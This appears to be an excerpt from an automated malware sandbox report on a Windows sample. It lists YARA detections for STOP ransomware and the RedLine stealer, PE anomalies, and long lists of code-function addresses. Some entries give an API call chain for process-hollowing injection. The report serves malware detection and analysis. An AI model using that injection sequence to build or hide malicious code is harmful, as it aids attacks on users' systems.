Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.1543623242.000000000216F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000011.00000002.1699513573.0000000002168000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.1618956623.00000000021EF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.1512672920.00000000022FD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7328, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7552, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7636, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7664, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 8156, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 4912, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7224, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 1152, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

PE file contains section with special chars

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Static PE information: section name: c"u
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr	Static PE information: section name: c"u

PE file has a writeable .text section

Source: lgYdZ.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A0110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_022A0110
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02390110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	6_2_02390110
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02210110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	7_2_02210110

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00503B71	0_2_00503B71
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00404579	0_2_00404579
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A7220	0_2_022A7220
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_023222C0	0_2_023222C0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022EE37C	0_2_022EE37C
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A7393	0_2_022A7393
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AA026	0_2_022AA026
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022BF030	0_2_022BF030
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AB000	0_2_022AB000
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AB0B0	0_2_022AB0B0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A70E0	0_2_022A70E0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A30F0	0_2_022A30F0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022B00D0	0_2_022B00D0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A9120	0_2_022A9120
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022EE141	0_2_022EE141
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022CD1A4	0_2_022CD1A4
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022EB69F	0_2_022EB69F
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AA699	0_2_022AA699
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AE6E0	0_2_022AE6E0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AC760	0_2_022AC760
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AA79A	0_2_022AA79A
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022CD7F1	0_2_022CD7F1
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A3520	0_2_022A3520
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A7520	0_2_022A7520
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022ACA10	0_2_022ACA10
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A7A80	0_2_022A7A80
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022B0B00	0_2_022B0B00
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A2B60	0_2_022A2B60
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022ADBE0	0_2_022ADBE0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A7880	0_2_022A7880
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022C18D0	0_2_022C18D0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022BA930	0_2_022BA930
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022AA916	0_2_022AA916
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022CE9A3	0_2_022CE9A3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022CF9B0	0_2_022CF9B0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A59F7	0_2_022A59F7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A89D0	0_2_022A89D0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A8E60	0_2_022A8E60
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022D4E9F	0_2_022D4E9F
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022E2D1E	0_2_022E2D1E
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A5DE7	0_2_022A5DE7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A5DF7	0_2_022A5DF7
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E6076	1_2_002E6076
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E6D00	1_2_002E6D00
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0043E5A3	4_2_0043E5A3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004349F3	4_2_004349F3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00434E0B	4_2_00434E0B
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004391F6	4_2_004391F6
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00435240	4_2_00435240
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00435675	4_2_00435675
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00427D6C	4_2_00427D6C
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0046BFE0	4_2_0046BFE0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02397220	6_2_02397220
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_024122C0	6_2_024122C0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023DE37C	6_2_023DE37C
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02397393	6_2_02397393
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023AF030	6_2_023AF030
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239A026	6_2_0239A026
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239B000	6_2_0239B000
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239B0B0	6_2_0239B0B0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023930F0	6_2_023930F0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023970E0	6_2_023970E0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023A00D0	6_2_023A00D0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02399120	6_2_02399120
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023DE141	6_2_023DE141
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023BD1A4	6_2_023BD1A4
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239A699	6_2_0239A699
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023DB69F	6_2_023DB69F
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239E6E0	6_2_0239E6E0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239C760	6_2_0239C760
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239A79A	6_2_0239A79A
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023BD7F1	6_2_023BD7F1
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02393520	6_2_02393520
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02397520	6_2_02397520
